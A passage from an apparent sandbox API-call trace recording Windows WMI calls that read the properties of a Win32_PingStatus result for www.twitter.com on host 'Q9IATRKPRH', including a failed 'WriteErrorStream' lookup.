varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a5648*=8, plFlavor=0x22a564c*=64) returned 0x0 [0162.956] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.956] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.956] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0162.956] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0162.956] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.956] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ResponseTime", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5880*=0, plFlavor=0x22a5884*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), pType=0x22a5880*=19, plFlavor=0x22a5884*=0) returned 0x0 [0162.956] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ResponseTime", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5880*=19, plFlavor=0x22a5884*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), pType=0x22a5880*=19, plFlavor=0x22a5884*=0) returned 0x0 [0162.956] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.956] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.957] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.957] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.957] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.957] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0162.957] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.957] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.957] SafeArrayGetLBound (in: psa=0x5f8ae80, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0162.957] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.957] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.957] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.957] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.957] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.957] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.957] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.957] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.957] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.957] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.957] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.957] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.957] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.957] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.958] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.958] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.958] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.958] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.958] SysStringByteLen (bstr="__PATH") returned 0xc [0162.958] SysStringByteLen (bstr="__PATH") returned 0xc [0162.958] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5d2c*=0, plFlavor=0x22a5d30*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a5d2c*=3, plFlavor=0x22a5d30*=64) returned 0x0 [0162.958] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5d60*=0, plFlavor=0x22a5d64*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a5d60*=8, plFlavor=0x22a5d64*=64) returned 0x0 [0162.958] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.958] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.958] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5db8*=0, plFlavor=0x22a5dbc*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5db8*=8, plFlavor=0x22a5dbc*=64) returned 0x0 [0162.958] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5de0*=0, plFlavor=0x22a5de4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a5de0*=8, plFlavor=0x22a5de4*=64) returned 0x0 [0162.958] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.958] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.958] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5e38*=0, plFlavor=0x22a5e3c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a5e38*=8, plFlavor=0x22a5e3c*=64) returned 0x0 [0162.958] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.959] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.959] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6014*=0, plFlavor=0x22a6018*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a6014*=3, plFlavor=0x22a6018*=64) returned 0x0 [0162.959] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6048*=0, plFlavor=0x22a604c*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a6048*=8200, plFlavor=0x22a604c*=64) returned 0x0 [0162.959] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a607c*=0, plFlavor=0x22a6080*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a607c*=8, plFlavor=0x22a6080*=64) returned 0x0 [0162.959] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.959] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.959] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a60c8*=0, plFlavor=0x22a60cc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a60c8*=8, plFlavor=0x22a60cc*=64) returned 0x0 [0162.959] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.959] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.959] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6114*=0, plFlavor=0x22a6118*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a6114*=8, plFlavor=0x22a6118*=64) returned 0x0 [0162.959] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.959] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0162.960] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0162.960] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.960] IWbemClassObject:Get (in: This=0x5f6b650, wszName="WriteErrorStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a634c*=0, plFlavor=0x22a6350*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a634c*=0, plFlavor=0x22a6350*=0) returned 0x80041002 [0162.960] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0162.961] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5fc3e80) returned 0x0 [0162.961] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e80, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0162.961] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5fc3e80, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5fc3e90) returned 0x0 [0162.961] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e80) returned 0x0 [0162.961] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5fc3e90) returned 0x0 [0162.961] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0162.962] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3e90) returned 0x3 [0162.962] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0162.962] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0162.962] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0162.962] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0162.962] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0162.962] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0162.962] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e90) returned 0x2 [0162.962] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e90) returned 0x1 [0162.962] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0162.962] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0162.962] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e90, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5fc3e90) returned 0x0 [0162.962] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3e90) returned 0x3 [0162.962] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e90) returned 0x2 [0162.962] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5fc3e90, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0162.962] SysStringByteLen (bstr="Not found ") returned 0x14 [0162.963] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.963] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.963] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.963] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.964] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.964] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.964] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0162.964] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0162.964] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0162.964] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0162.964] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.964] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.964] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.964] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.964] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.964] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.964] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.964] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.964] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.964] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.964] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.964] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.964] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.964] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.964] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.964] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.964] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.965] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.965] SysStringByteLen (bstr="__PATH") returned 0xc [0162.965] SysStringByteLen (bstr="__PATH") returned 0xc [0162.965] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a672c*=0, plFlavor=0x22a6730*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a672c*=3, plFlavor=0x22a6730*=64) returned 0x0 [0162.965] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6760*=0, plFlavor=0x22a6764*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a6760*=8, plFlavor=0x22a6764*=64) returned 0x0 [0162.965] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.965] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.965] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a67b8*=0, plFlavor=0x22a67bc*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a67b8*=8, plFlavor=0x22a67bc*=64) returned 0x0 [0162.965] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a67e0*=0, plFlavor=0x22a67e4*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a67e0*=8, plFlavor=0x22a67e4*=64) returned 0x0 [0162.965] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.965] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.965] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6838*=0, plFlavor=0x22a683c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a6838*=8, plFlavor=0x22a683c*=64) returned 0x0 [0162.966] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.966] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.966] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6a14*=0, plFlavor=0x22a6a18*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a6a14*=3, plFlavor=0x22a6a18*=64) returned 0x0 [0162.966] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6a48*=0, plFlavor=0x22a6a4c*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a6a48*=8200, plFlavor=0x22a6a4c*=64) returned 0x0 [0162.966] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6a7c*=0, plFlavor=0x22a6a80*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a6a7c*=8, plFlavor=0x22a6a80*=64) returned 0x0 [0162.966] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.966] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.966] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6ac8*=0, plFlavor=0x22a6acc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a6ac8*=8, plFlavor=0x22a6acc*=64) returned 0x0 [0162.966] SysStringByteLen (bstr="root\\cimv2") 